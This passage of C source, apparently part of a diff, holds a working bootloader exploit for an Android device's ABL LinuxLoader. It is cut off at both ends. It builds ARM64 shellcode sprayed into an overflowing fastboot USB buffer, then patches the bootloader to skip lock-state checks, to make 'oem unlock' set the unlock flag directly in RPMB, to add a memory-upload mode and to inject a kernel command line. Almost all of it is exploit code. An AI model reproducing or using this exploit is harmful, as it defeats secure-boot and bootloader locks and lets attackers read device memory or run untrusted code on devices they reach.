payloadsize) +{ + int i; + + memset(buff, 0, 0x80); + + for (i = (offset % 0x80); i < size; i += 0x80) { + OPCODE(buff + i + 0x00, 0x0a, 0x00, 0x00, 0x10); // adr x10, #0x00 = [ 0a 00 00 10 ] x10 == buff + OPCODE(buff + i + 0x04, 0x40, 0x75, 0x40, 0xb9); // ldr w0, [x10, #0x74] = [ 40 75 40 b9 ] w14 == offset of exploit_continue, w0 == LinuxLoader code size + OPCODE(buff + i + 0x08, 0x4e, 0x35, 0x4f, 0x29); // ldp w14, w13, [x10, #0x78] = [ 4e 35 4f 29 ] w13 == offset of fastboot_download_512MB_buffer_ptr + OPCODE(buff + i + 0x0c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ] + + OPCODE(buff + i + 0x10, 0xfc, 0xff, 0xff, 0x17); // b #-0x10 = [ fc ff ff 17 ] + OPCODE(buff + i + 0x14, 0x7f, 0x00, 0x00, 0xeb); // cmp x3, x0 = [ 7f 00 00 eb ] check if called from alternate code path with size in x3 + OPCODE(buff + i + 0x18, 0x61, 0x00, 0x00, 0x54); // b.ne #0x0c = [ 61 00 00 54 ] if not.eq it is the first call of this code + OPCODE(buff + i + 0x1c, 0xc0, 0x03, 0x5f, 0xd6); // ret = [ c0 03 5f d6 ] return not doing anything for the 2nd invokation of this + + OPCODE(buff + i + 0x20, 0xf8, 0xff, 0xff, 0x17); // b #-0x20 = [ f8 ff ff 17 ] + OPCODE(buff + i + 0x24, 0x3f, 0x00, 0x08, 0x71); // cmp w1, #0x200 = [ 3f 00 08 71 ] check if called from alternate code path as 1st invocation + OPCODE(buff + i + 0x28, 0x81, 0x00, 0x00, 0x54); // b.ne #0x10 = [ 81 00 00 54 ] + OPCODE(buff + i + 0x2c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ] + + OPCODE(buff + i + 0x30, 0xf4, 0xff, 0xff, 0x17); // b #-0x30 = [ f4 ff ff 17 ] + OPCODE(buff + i + 0x34, 0xde, 0xf3, 0x02, 0xd1); // sub lr, lr, 0xbc = [ de f3 02 d1 ] called from alt code path 1st inv., adjust LR to &exploit_continue + OPCODE(buff + i + 0x38, 0xce, 0x03, 0x0e, 0xcb); // sub x14, lr, x14 = [ ce 03 0e cb ] x14 == LinuxLoader base addr + OPCODE(buff + i + 0x3c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ] + + OPCODE(buff + i + 0x40, 0xf0, 0xff, 0xff, 0x17); // b #-0x40 = [ f0 ff ff 17 ] + OPCODE(buff + i + 0x44, 0xcc, 0x69, 0x6d, 0xf8); // ldr x12, [x14, x13] = [ cc 69 6d f8 ] x12 = orig fastboot_download_512MB_buffer_ptr + OPCODE(buff + i + 0x48, 0xce, 0x69, 0x2d, 0xf8); // str x14, [x14, x13] = [ ce 69 2d f8 ] fastboot_download_512MB_buffer_ptr = LinuxLoader base addr + OPCODE(buff + i + 0x4c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ] + + OPCODE(buff + i + 0x50, 0xec, 0xff, 0xff, 0x17); // b #-0x50 = [ ec ff ff 17 ] + OPCODE(buff + i + 0x54, 0x2b, 0x22, 0xa2, 0x52); // movz w11, #0x1111, lsl #16 = [ 2b 22 a2 52 ] + OPCODE(buff + i + 0x58, 0x2b, 0x22, 0x82, 0x72); // movk w11, #0x1111 = [ 2b 22 82 72 ] + OPCODE(buff + i + 0x5c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ] + + OPCODE(buff + i + 0x60, 0xe8, 0xff, 0xff, 0x17); // b #-0x60 = [ e8 ff ff 17 ] + //OPCODE(buff + i + 0x64, 0x8f, 0x01, 0x0b, 0x8b); // add x15, x12, x11 = [ 8f 01 0b 8b ] x15 == orig fastboot_download_512MB_buffer_ptr + 0x11111111 + OPCODE(buff + i + 0x64, 0xcf, 0x01, 0x0b, 0x8b); // add x15, x14, x11 = [ cf 01 0b 8b ] x15 == LinuxLoader base addr + 0x11111111 + OPCODE(buff + i + 0x68, 0x6f, 0x32, 0x00, 0xa9); // stp x15, x12, [x19] = [ 6f 32 00 a9 ] *hexlengthptr = x15; *(hexlengthptr + 8) = x12 + OPCODE(buff + i + 0x6c, 0xc0, 0x03, 0x5f, 0xd6); // ret = [ c0 03 5f d6 ] return to &exploit_continue + + OPCODE(buff + i + 0x70, 0xe4, 0xff, 0xff, 0x17); // b #-0x70 = [ e4 ff ff 17 ] + *(uint32_t *)(buff + i + 0x74) = payloadsize; // size of code section of the LinuxLoader.pe + *(uint32_t *)(buff + i + 0x78) = p114_stage1_cont; // offset of exploit_continue + *(uint32_t *)(buff + i + 0x7c) = 0xFB658; // offset of fastboot_download_512MB_buffer_ptr + } +} + +static void p114_setup_test5(unsigned char *buff, int size, int offset, int payloadsize) +{ + int i, j; + + memset(buff, 0, size); + + // offset == 0xfc (-0x04) seems to work good for both exploit hit variants + // with size set to 0xf3f4fc + + i = offset >= 0x100000 ? offset : 0x100000 + (offset % 0x80); + for (; i < size; i += 0x80) { + for (j = 0; j < 0x4c; j += 4) + OPCODE(buff + i + j, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] + + OPCODE(buff + i - 0x100000 + 0x3c, 0x04,0x00,0x00,0x14);// b #0x10 = [ 04 00 00 14 ] + *(uint32_t *)(buff + i - 0x100000 + 0x40) = payloadsize;// size of code section of the LinuxLoader.pe + *(uint32_t *)(buff + i - 0x100000 + 0x44) = p114_stage1_cont;// offset of exploit_continue + *(uint32_t *)(buff + i - 0x100000 + 0x48) = 0xFB658; // offset of fastboot_download_512MB_buffer_ptr + + OPCODE(buff + i + 0x4c, 0x0a, 0x00, 0x80, 0x10); // adr x10, #-0x100000 = [ 0a 00 80 10 ] x10 == buff + i + 0x4c - 0x100000 + OPCODE(buff + i + 0x50, 0x40, 0x41, 0x5f, 0xb8); // ldr w0, [x10, #-0x0c] = [ 40 41 5f b8 ] w14 == offset of exploit_continue, w0 == LinuxLoader code size + OPCODE(buff + i + 0x54, 0x4e, 0x35, 0x7f, 0x29); // ldp w14, w13, [x10, #-0x08] = [ 4e 35 7f 29 ] w13 == offset of fastboot_download_512MB_buffer_ptr + OPCODE(buff + i + 0x58, 0x7f, 0x00, 0x00, 0xeb); // cmp x3, x0 = [ 7f 00 00 eb ] check if called from alternate code path with size in x3 + OPCODE(buff + i + 0x5c, 0x00, 0x01, 0x00, 0x54); // b.eq #0x20 = [ 00 01 00 54 ] if eq it is the second call of this code -> jmp to return + OPCODE(buff + i + 0x60, 0x3f, 0x00, 0x08, 0x71); // cmp w1, #0x200 = [ 3f 00 08 71 ] check if called from alternate code path as 1st invocation + OPCODE(buff + i + 0x64, 0x41, 0x00, 0x00, 0x54); // b.ne #0x08 = [ 41 00 00 54 ] + OPCODE(buff + i + 0x68, 0xde, 0xf3, 0x02, 0xd1); // sub lr, lr, #0xbc = [ de f3 02 d1 ] called from alt code path 1st inv., adjust LR to &exploit_continue + OPCODE(buff + i + 0x6c, 0xce, 0x03, 0x0e, 0xcb); // sub x14, lr, x14 = [ ce 03 0e cb ] x14 == LinuxLoader base addr + OPCODE(buff + i + 0x70, 0xcc, 0x69, 0x6d, 0xf8); // ldr x12, [x14, x13] = [ cc 69 6d f8 ] x12 = orig fastboot_download_512MB_buffer_ptr + OPCODE(buff + i + 0x74, 0xce, 0x69, 0x2d, 0xf8); // str x14, [x14, x13] = [ ce 69 2d f8 ] fastboot_download_512MB_buffer_ptr = LinuxLoader base addr + OPCODE(buff + i + 0x78, 0x7e, 0x32, 0x00, 0xa9); // stp lr, x12, [x19] = [ 7e 32 00 a9 ] *hexlengthptr = lr; *(hexlengthptr + 8) = x12 + OPCODE(buff + i + 0x7c, 0xc0, 0x03, 0x5f, 0xd6); // ret = [ c0 03 5f d6 ] return to &exploit_continue + } +} + +static void p114_patch_abl(unsigned char *ablcode, int extended) +{ + OPCODE(ablcode + 0x264A4 + 0x00, 0x1e, 0x00, 0x00, 0x14); // b #0x78 = [ 1e 00 00 14 ] skip "Remap recovery => FOTAKernel" functionality in favor of our code, + //OPCODE(ablcode + 0x264D0 + 0x00, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] skipping also "Flashing is not allowed in Lock State" error + OPCODE(ablcode + 0x2655C + 0x00, 0x81, 0x07, 0x00, 0x54); // b.ne #0xf0 = [ 81 07 00 54 ] skip few more checks in favor of our code (0x26560..0x26648+4 available) + + // exploit_2nd_phase_start: first invalidate ABL LinuxLoader code range + // this is triggered by "flash:fb" command that would normally result with "No such partition." error + OPCODE(ablcode + 0x26560 + 0x00, 0xc0, 0xfe, 0xff, 0xd0); // adrp x0, #-0x26000 = [ c0 fe ff d0 ] + OPCODE(ablcode + 0x26560 + 0x04, 0x01, 0x9c, 0x43, 0x91); // add x1, x0, #0xe7000 = [ 01 9c 43 91 ] Code boundary of LinuxLoader-p114.pe is 0x000e7000 + OPCODE(ablcode + 0x26560 + 0x08, 0x48, 0x19, 0x00, 0x94); // bl #0x6520 = [ 48 19 00 94 ] + OPCODE(ablcode + 0x26560 + 0x0c, 0x00, 0x80, 0x00, 0x91); // add x0, x0, #0x20 = [ 00 80 00 91 ] + OPCODE(ablcode + 0x26560 + 0x10, 0x1f, 0x00, 0x01, 0xeb); // cmp x0, x1 = [ 1f 00 01 eb ] + OPCODE(ablcode + 0x26560 + 0x14, 0xab, 0xff, 0xff, 0x54); // b.lt #-0x0c = [ ab ff ff 54 ] + OPCODE(ablcode + 0x26560 + 0x18, 0x61, 0xb2, 0x00, 0x94); // bl #0x2c984 = [ 61 b2 00 94 ] + + // restore original value of fastboot_download_512MB_buffer_ptr stored previously into "usb command buffer + 0x11" (x19 now points after "flash:" cmd, i.e. 0x06+0x0b=0x11) + OPCODE(ablcode + 0x26560 + 0x1c, 0x64, 0xb2, 0x40, 0xf8); // ldr x4, [x19, #0x0b] = [ 64 b2 40 f8 ] orig fastboot_download_512MB_buffer_ptr + + OPCODE(ablcode + 0x26560 + 0x20, 0xa2, 0x06, 0x00, 0xb0); // adrp x2, #0xd5000 = [ a2 06 00 b0 ] fastboot_download_512MB_buffer_ptr@PAGE (0xFB658) + OPCODE(ablcode + 0x26560 + 0x24, 0x42, 0x60, 0x19, 0x91); // add x2, x2, #0x658 = [ 42 60 19 91 ] fastboot_download_512MB_buffer_ptr@POFF (0xFB658) + OPCODE(ablcode + 0x26560 + 0x28, 0x44, 0x04, 0x00, 0xf9); // str x4, [x2, #0x08] = [ 44 04 00 f9 ] restore orig fastboot_download_512MB_buffer_ptr + + // send base addr of LinuxLoader as hex string after the FAIL fastboot response + // and also address of usb command buffer that can overflow + // .text:00000000000AFA8F DCB "%x/%x",0xA,0 + OPCODE(ablcode + 0x26560 + 0x2c, 0xc3, 0xfe, 0xff, 0xd0); // adrp x3, #-0x26000 = [ c3 fe ff d0 ] + OPCODE(ablcode + 0x26560 + 0x30, 0xe0, 0x03, 0x00, 0x91); // add x0, sp, #0x00 = [ e0 03 00 91 ] we have 0x198 bytes available on stack in "No such partition." handler + OPCODE(ablcode + 0x26560 + 0x34, 0x01, 0x03, 0x80, 0x52); // mov w1, #0x18 = [ 01 03 80 52 ] + OPCODE(ablcode + 0x26560 + 0x38, 0x42, 0x04, 0x00, 0xb0); // adrp x2, #0x89000 = [ 42 04 00 b0 ] "%x/%x\n"@PAGE + OPCODE(ablcode + 0x26560 + 0x3c, 0x42, 0x3c, 0x2a, 0x91); // add x2, x2, #0xa8f = [ 42 3c 2a 91 ] "%x/%x\n"@POFF + OPCODE(ablcode + 0x26560 + 0x40, 0x64, 0x1a, 0x00, 0xd1); // sub x4, x19, #0x06 = [ 64 1a 00 d1 ] substract legth of "flash:" command + OPCODE(ablcode + 0x26560 + 0x44, 0xaa, 0x6e, 0xff, 0x97); // bl #-0x24558 = [ aa 6e ff 97 ] snprintf + OPCODE(ablcode + 0x26560 + 0x48, 0xe0, 0x03, 0x00, 0x91); // add x0, sp, #0x00 = [ e0 03 00 91 ] + OPCODE(ablcode + 0x26560 + 0x4c, 0xab, 0xff, 0xff, 0x17); // b #-0x154 = [ ab ff ff 17 ] + + // patch debug logging verbosity check to always be the most verbose + OPCODE(ablcode + 0x07CE8 + 0x00, 0x00, 0x00, 0x80, 0x12); // mov w0, #-1 = [ 00 00 80 12 ] + OPCODE(ablcode + 0x07CE8 + 0x04, 0xc0, 0x03, 0x5f, 0xd6); // ret = [ c0 03 5f d6 ] + + + + // patch the "oem unlock" command to directly set unlock state with 'X' for 0 (locked) or with 'Y' for 1 (unlocked) + OPCODE(ablcode + 0x4D9E4 + 0x00, 0x62, 0x06, 0x40, 0x39); // ldrb w2, [x19, #0x01] = [ 62 06 40 39 ] + OPCODE(ablcode + 0x4D9E4 + 0x04, 0x42, 0x60, 0x01, 0x51); // sub w2, w2, #0x58 = [ 42 60 01 51 ] 'X' or 'Y' aka "locked" or "unlocked" + OPCODE(ablcode + 0x4D9E4 + 0x08, 0x5f, 0x04, 0x00, 0x71); // cmp w2, #0x01 = [ 5f 04 00 71 ] + OPCODE(ablcode + 0x4D9E4 + 0x0c, 0x88, 0x01, 0x00, 0x54); // b.hi #0x30 = [ 88 01 00 54 ] + OPCODE(ablcode + 0x4D9E4 + 0x10, 0x21, 0x05, 0x00, 0xd0); // adrp x1, #0xa6000 = [ 21 05 00 d0 ] locate the struct with bootloader state flag (0xF3B78) + OPCODE(ablcode + 0x4D9E4 + 0x14, 0x21, 0xe0, 0x2d, 0x91); // add x1, x1, #0xb78 = [ 21 e0 2d 91 ] + OPCODE(ablcode + 0x4D9E4 + 0x18, 0x22, 0x34, 0x00, 0x39); // strb w2, [x1, #13] = [ 22 34 00 39 ] set the bootloader unlock state + OPCODE(ablcode + 0x4D9E4 + 0x1c, 0x02, 0x33, 0x81, 0x52); // mov w2, #0x998 = [ 02 33 81 52 ] + OPCODE(ablcode + 0x4D9E4 + 0x20, 0x20, 0x00, 0x80, 0x52); // mov w0, #0x01 = [ 20 00 80 52 ] + OPCODE(ablcode + 0x4D9E4 + 0x24, 0xba, 0x28, 0xff, 0x97); // bl #-0x35d18 = [ ba 28 ff 97 ] commit the changes to rpmb + OPCODE(ablcode + 0x4D9E4 + 0x28, 0x55, 0x00, 0x00, 0x14); // b #0x154 = [ 55 00 00 14 ] jump to "Failed to set MASTER_RESET to 0x02 on rooted unit!" + // debug log with OKAY fastboot response + + // patch "erase:" command to set download mode usb buffer address + // "erase:0xhexaddr" for data from host to device (normal behavior of "download:" command) + // "erase:0Xhexaddr" for data from device to host (upload behavior of "download:" command) + OPCODE(ablcode + 0x28298 + 0x00, 0xc1, 0x02, 0x40, 0x39); // ldrb w1, [x22] = [ c1 02 40 39 ] + OPCODE(ablcode + 0x28298 + 0x04, 0x3f, 0xc0, 0x00, 0x71); // cmp w1, #0x30 = [ 3f c0 00 71 ] '0' + OPCODE(ablcode + 0x28298 + 0x08, 0x81, 0x03, 0x00, 0x54); // b.ne #0x70 = [ 81 03 00 54 ] + OPCODE(ablcode + 0x28298 + 0x0c, 0xc1, 0x06, 0x40, 0x39); // ldrb w1, [x22, #0x01] = [ c1 06 40 39 ] + OPCODE(ablcode + 0x28298 + 0x10, 0x3f, 0x60, 0x01, 0x71); // cmp w1, #0x58 = [ 3f 60 01 71 ] 'X' + OPCODE(ablcode + 0x28298 + 0x14, 0x62, 0x00, 0x80, 0x52); // mov w2, #0x03 = [ 62 00 80 52 ] 0x03 for the init state of upload mode + OPCODE(ablcode + 0x28298 + 0x18, 0x42, 0x00, 0x9f, 0x1a); // csel w2, w2, wzr, eq = [ 42 00 9f 1a ] set our flag to init upload (0x02) instead of download (0x00) + OPCODE(ablcode + 0x28298 + 0x1c, 0x95, 0x06, 0x00, 0xf0); // adrp x21, #0xd3000 = [ 95 06 00 f0 ] fastboot_download_mode_init_upload@PAGE (0xFBE62) + OPCODE(ablcode + 0x28298 + 0x20, 0xa2, 0x8a, 0x39, 0x39); // strb w2, [x21, #0xe62] = [ a2 8a 39 39 ] fastboot_download_mode_init_upload@POFF setup our new flag + OPCODE(ablcode + 0x28298 + 0x24, 0xe0, 0x03, 0x16, 0xaa); // mov x0,x22 = [ e0 03 16 aa ] + OPCODE(ablcode + 0x28298 + 0x28, 0x2e, 0x7a, 0xff, 0x97); // bl #-0x21748 = [ 2e 7a ff 97 ] convert string to integer + OPCODE(ablcode + 0x28298 + 0x2c, 0xa3, 0x2e, 0x43, 0xf9); // ldr x3, [x21, #0x658] = [ a3 2e 43 f9 ] fastboot_download_512MB_buffer_ptr@POFF (0xFB658) + OPCODE(ablcode + 0x28298 + 0x30, 0xa0, 0x2e, 0x03, 0xf9); // str x0, [x21, #0x658] = [ a0 2e 03 f9 ] fastboot_download_512MB_buffer_ptr@POFF + OPCODE(ablcode + 0x28298 + 0x34, 0xe0, 0x03, 0x01, 0x91); // add x0, sp, #0x40 = [ e0 03 01 91 ] + OPCODE(ablcode + 0x28298 + 0x38, 0x01, 0x08, 0x80, 0x52); // mov w1, #0x40 = [ 01 08 80 52 ] + OPCODE(ablcode + 0x28298 + 0x3c, 0x62, 0x04, 0x00, 0xb0); // adrp x2, #0x8d000 = [ 62 04 00 b0 ] (" 0x%llx" + 1)@PAGE + OPCODE(ablcode + 0x28298 + 0x40, 0x42, 0x38, 0x16, 0x91); // add x2, x2, #0x58e = [ 42 38 16 91 ] (" 0x%llx" + 1)@POFF (==0xB558D+1) + OPCODE(ablcode + 0x28298 + 0x44, 0x5c, 0x67, 0xff, 0x97); // bl #-0x26290 = [ 5c 67 ff 97 ] snprintf + OPCODE(ablcode + 0x28298 + 0x48, 0xe0, 0x03, 0x01, 0x91); // add x0, sp, #0x40 = [ e0 03 01 91 ] + OPCODE(ablcode + 0x28298 + 0x4c, 0xdc, 0xff, 0xff, 0x17); // b #-0x90 = [ dc ff ff 17 ] exit with fastboot FAIL with prev big usb buff addr + + + // patch "Download Finished" to invalidate data cache of the whole region just transferred via "download" command + // and also invalidate instruction cache + OPCODE(ablcode + 0x24B3C + 0x00, 0xc0, 0x1e, 0x40, 0xf9); // ldr x0, [x22, #0x38] = [ c0 1e 40 f9 ] fastboot_download_512MB_buffer_ptr (0xFB658) + OPCODE(ablcode + 0x24B3C + 0x04, 0x01, 0x00, 0x0c, 0x8b); // add x1, x0, x12 = [ 01 00 0c 8b ] + OPCODE(ablcode + 0x24B3C + 0x08, 0xd1, 0x1f, 0x00, 0x94); // bl #0x7f44 = [ d1 1f 00 94 ] + OPCODE(ablcode + 0x24B3C + 0x0c, 0x00, 0x80, 0x00, 0x91); // add x0, x0, #0x20 = [ 00 80 00 91 ] + OPCODE(ablcode + 0x24B3C + 0x10, 0x1f, 0x00, 0x01, 0xeb); // cmp x0, x1 = [ 1f 00 01 eb ] + OPCODE(ablcode + 0x24B3C + 0x14, 0xab, 0xff, 0xff, 0x54); // b.lt #-0x0c = [ ab ff ff 54 ] + OPCODE(ablcode + 0x24B3C + 0x18, 0xea, 0xb8, 0x00, 0x94); // bl #0x2e3a8 = [ ea b8 00 94 ] +// 024B58 81 04 00 90 21 80 01 91 ADRL X1, aDownloadFinish ; "Download Finished\n" + + + + OPCODE(ablcode + 0x28DDC + 0x00, 0xe0, 0x0a, 0x61, 0x39); // ldrb w0, [x23, #0x842] = [ e0 0a 61 39 ] fastboot_download_mode_init_upload + OPCODE(ablcode + 0x28DDC + 0x04, 0x21, 0x00, 0x80, 0x52); // mov w1, #0x01 = [ 21 00 80 52 ] + OPCODE(ablcode + 0x28DDC + 0x08, 0x1f, 0x00, 0x1f, 0x6b); // cmp w0, wzr = [ 1f 00 1f 6b ] set mode to normal download (0x01) or our new upload (0x03) + OPCODE(ablcode + 0x28DDC + 0x0c, 0x20, 0x00, 0x80, 0x1a); // csel w0, w1, w0, eq = [ 20 00 80 1a ] (value 0x03 have been set from "erase:0X" as a flag to init_upload) + OPCODE(ablcode + 0x28DDC + 0x10, 0x6b, 0x06, 0x00, 0x90); // adrp x11, #0xcc000 = [ 6b 06 00 90 ] fastboot_download_mode_512MB_active@PAGE (0xF4618) + OPCODE(ablcode + 0x28DDC + 0x14, 0x60, 0x61, 0x18, 0x39); // strb w0, [x11, #0x618] = [ 60 61 18 39 ] fastboot_download_mode_512MB_active + OPCODE(ablcode + 0x28DDC + 0x18, 0xc0, 0x03, 0x00, 0x54); // b.eq #0x78 = [ c0 03 00 54 ] extend down here to clean data cache before starting upload + + OPCODE(ablcode + 0x28DDC + 0x1c, 0xe0, 0x1e, 0x40, 0xf9); // ldr x0, [x23, #0x38] = [ e0 1e 40 f9 ] fastboot_download_512MB_buffer_ptr + OPCODE(ablcode + 0x28DDC + 0x20, 0x01, 0x00, 0x08, 0x8b); // add x1, x0, x8 = [ 01 00 08 8b ] size of the transfer is in x8 + OPCODE(ablcode + 0x28DDC + 0x24, 0x22, 0x0f, 0x00, 0x94); // bl #0x3c88 = [ 22 0f 00 94 ] clean data cache to push changes to ram + OPCODE(ablcode + 0x28DDC + 0x28, 0x00, 0x80, 0x00, 0x91); // add x0, x0, #0x20 = [ 00 80 00 91 ] + OPCODE(ablcode + 0x28DDC + 0x2c, 0x1f, 0x00, 0x01, 0xeb); // cmp x0, x1 = [ 1f 00 01 eb ] + OPCODE(ablcode + 0x28DDC + 0x30, 0xab, 0xff, 0xff, 0x54); // b.lt #-0x0c = [ ab ff ff 54 ] + OPCODE(ablcode + 0x28DDC + 0x34, 0x17, 0x00, 0x00, 0x14); // b #0x5c = [ 17 00 00 14 ] continue to "upload" after syncing cache to memory + + OPCODE(ablcode + 0x28EE0 + 0x00, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] avoid the original set of download mode to 0x01 in cmd "download:" + + // instead of fixed value of 0x01 aka ENDPOINT_IN, switched to ENDPOINT_OUT if indicated by extended state in fastboot_download_mode_512MB_active + // so it can be set via "erase:0x" or "erase:0X" command to 0x81 aka ENDPOINT_OUT alternativ + OPCODE(ablcode + 0x24C80 + 0x00, 0x2d, 0x10, 0x80, 0x52); // mov w13, #0x81 = [ 2d 10 80 52 ] + OPCODE(ablcode + 0x24C80 + 0x04, 0xae, 0x62, 0x58, 0x39); // ldrb w14, [x21, #0x618] = [ ae 62 58 39 ] fastboot_download_mode_512MB_active + OPCODE(ablcode + 0x24C80 + 0x08, 0xdf, 0x05, 0x00, 0x71); // cmp w14, #0x01 = [ df 05 00 71 ] + OPCODE(ablcode + 0x24C80 + 0x0c, 0x00, 0x00, 0x8d, 0x9a); // csel x0, x0, x13, eq = [ 00 00 8d 9a ] + OPCODE(ablcode + 0x24C80 + 0x10, 0x80, 0x02, 0x3f, 0xd6); // blr x20 = [ 80 02 3f d6 ] (orig inst from 0x24C80) + OPCODE(ablcode + 0x24C80 + 0x14, 0x03, 0x00, 0x00, 0x14); // b #0x0c = [ 03 00 00 14 ] + + OPCODE(ablcode + 0x23A44 + 0x00, 0xcb, 0x0d, 0x00, 0x54); // b.lt #0x1b8 = [ cb 0d 00 54 ] fix branch condition to reflect extended states in fastboot_download_mode_512MB_active + + // this is to reset fastboot_download_mode_512MB_active to zero right after download/upload finished before sending fastboot status + OPCODE(ablcode + 0x24B60 + 0x00, 0xde, 0xff, 0xff, 0x17); // b #-0x88 = [ de ff ff 17 ] jump after branch of following code + OPCODE(ablcode + 0x24AD4 + 0x00, 0x07, 0x00, 0x00, 0x14); // b #0x1c = [ 07 00 00 14 ] make some room for additional code + OPCODE(ablcode + 0x24AD4 + 0x04, 0x95, 0x06, 0x00, 0x90); // adrp x21, #0xd0000 = [ 95 06 00 90 ] fastboot_download_mode_512MB_active@PAGE (0xf4618) + OPCODE(ablcode + 0x24AD4 + 0x08, 0xbf, 0x62, 0x18, 0x39); // strb wzr, [x21, #0x618] = [ bf 62 18 39 ] fastboot_download_mode_512MB_active = 0 + OPCODE(ablcode + 0x24AD4 + 0x10, 0x00, 0x08, 0x80, 0x52); // mov w0, #0x40 = [ 00 08 80 52 ] orig instruction from 0x24B60 + OPCODE(ablcode + 0x24AD4 + 0x14, 0x20, 0x00, 0x00, 0x14); // b #0x80 = [ 20 00 00 14 ] jump back to continue + + + // extend usb transfer state machine with states to handle upload in download command + OPCODE(ablcode + 0x23A2C + 0x00, 0xa0, 0x09, 0x00, 0x54); // b.eq #0x134 = [ a0 09 00 54 ] jump after the debug level check so we can use that for a patch + OPCODE(ablcode + 0x23B34 + 0x00, 0x81, 0x00, 0x00, 0x54); // b.ne #0x10 = [ 81 00 00 54 ] go to check additional mode values if it is not the orig dnld + + OPCODE(ablcode + 0x23B44 + 0x00, 0x9f, 0x0e, 0x00, 0x71); // cmp w20, #0x03 = [ 9f 0e 00 71 ] is this download switched to upload mode? + OPCODE(ablcode + 0x23B44 + 0x04, 0xa1, 0x01, 0x00, 0x54); // b.ne #0x34 = [ a1 01 00 54 ] branch to check for upload continue machine state + OPCODE(ablcode + 0x23B44 + 0x08, 0x88, 0x09, 0x00, 0x94); // bl #0x2620 = [ 88 09 00 94 ] get_fastboot_download_mode_512MB_buffer_ptr + OPCODE(ablcode + 0x23B44 + 0x0c, 0xe2, 0x03, 0x00, 0xaa); // mov x2, x0 = [ e2 03 00 aa ] + OPCODE(ablcode + 0x23B44 + 0x10, 0x20, 0x10, 0x80, 0x52); // mov w0, 0x81 = [ 20 10 80 52 ] + OPCODE(ablcode + 0x23B44 + 0x14, 0xb0, 0x00, 0x80, 0x52); // mov w16, #0x05 = [ b0 00 80 52 ] + OPCODE(ablcode + 0x23B44 + 0x18, 0xe5, 0xff, 0xff, 0x17); // b #-0x6c = [ e5 ff ff 17 ] continue to 0x23AF0 address with following code: + + OPCODE(ablcode + 0x23AEC + 0x00, 0x07, 0x00, 0x00, 0x14); // b #0x1c = [ 07 00 00 14 ] jump after the debug level check so we can use that for a patch + OPCODE(ablcode + 0x23AEC + 0x04, 0x91, 0x06, 0x00, 0xb0); // adrp x17, #0xd1000 = [ 91 06 00 b0 ] fastboot_download_mode_512MB_active@PAGE + OPCODE(ablcode + 0x23AEC + 0x08, 0x30, 0x62, 0x18, 0x39); // strb w16, [x17, #0x618] = [ 30 62 18 39 ] fastboot_download_mode_512MB_active = 0x03 i.e. upload started + OPCODE(ablcode + 0x23AEC + 0x0c, 0x55, 0x00, 0x00, 0x14); // b #0x154 = [ 55 00 00 14 ] branch to the usb send function after set of endpoint, we use 0x81 instead + + OPCODE(ablcode + 0x23B78 + 0x00, 0x40, 0x00, 0x00, 0x14); // b #0x100 = [ 40 00 00 14 ] jump after the debug level check so we can use that for a patch + OPCODE(ablcode + 0x23B78 + 0x04, 0x9f, 0x16, 0x00, 0x71); // cmp w20, #0x05 = [ 9f 16 00 71 ] is this download switched to upload mode, upload continue state? + OPCODE(ablcode + 0x23B78 + 0x08, 0xe1, 0x05, 0x00, 0x54); // b.ne #0xbc = [ e1 05 00 54 ] if not, branch to the setup of fastboot command usb receive mode default + OPCODE(ablcode + 0x23B78 + 0x0c, 0x7a, 0x09, 0x00, 0x94); // bl #0x25e8 = [ 7a 09 00 94 ] get_fastboot_download_mode_512MB_buffer_ptr + OPCODE(ablcode + 0x23B78 + 0x10, 0xe1, 0x03, 0x00, 0xaa); // mov x1, x0 = [ e1 03 00 aa ] + OPCODE(ablcode + 0x23B78 + 0x14, 0xe0, 0x0f, 0x40, 0xf9); // ldr x0, [sp, #0x18] = [ e0 0f 40 f9 ] + OPCODE(ablcode + 0x23B78 + 0x18, 0xc8, 0x03, 0x00, 0x94); // bl #0x0f20 = [ c8 03 00 94 ] call "DataReady %d\n" / "Download Finished\n" function + OPCODE(ablcode + 0x23B78 + 0x1c, 0x1f, 0x00, 0x00, 0x14); // b #0x7c = [ 1f 00 00 14 ] jump to end of this function bellow returning zero status + + OPCODE(ablcode + 0x56164, 0xe8, 0x03, 0x1f, 0x2a); // mov w8, wzr = [ e8 03 1f 2a ] do not log XReplace start + OPCODE(ablcode + 0x562B0, 0xea, 0x03, 0x1f, 0x2a); // mov w10, wzr = [ ea 03 1f 2a ] do not log XReplace end + + if (extended > 0) { + OPCODE(ablcode + 0x286DC, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] do not jump to "Command not allowed" when handling 'boot' cmd + + // following not needed as we skip it already within the 2nd stage exploit + //OPCODE(ablcode + 0x264D0, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] do not jump to "Flashing is not allowed in Lock State" in 'flash' cmd + //OPCODE(ablcode + 0x282C4, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] do not jump to "Erase is not allowed in Lock State" in 'erase' cmd + } + + if (extended > 1) { + if (cmdline[0] != '\0') { + strcpy(ablcode, cmdline); + OPCODE(ablcode + 0x09258 + 0x00, 0xa1, 0xff, 0xff, 0xf0); // adrp x1, #-0x9000 = [ a1 ff ff f0 ] + OPCODE(ablcode + 0x09258 + 0x04, 0xe0, 0x03, 0x13, 0xaa); // mov x0, x19 = [ e0 03 13 aa ] + OPCODE(ablcode + 0x09258 + 0x08, 0x5c, 0x00, 0x00, 0x94); // bl #0x0170 = [ 5c 00 00 94 ] + OPCODE(ablcode + 0x09258 + 0x0c, 0x32, 0xfe, 0xff, 0x17); // b #-0x0738 = [ 32 fe ff 17 ] + } + if (cmdlinex[0] != '\0') { + if (cmdline[0] != '\0') + OPCODE(ablcode + 0x09258 + 0x0c, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] + else + OPCODE(ablcode + 0x09258 + 0x00, 0x04, 0x00, 0x00, 0x14); // b #0x10 = [ 04 00 00 14 ] + strcpy(ablcode + 0x00800, cmdlinex); + 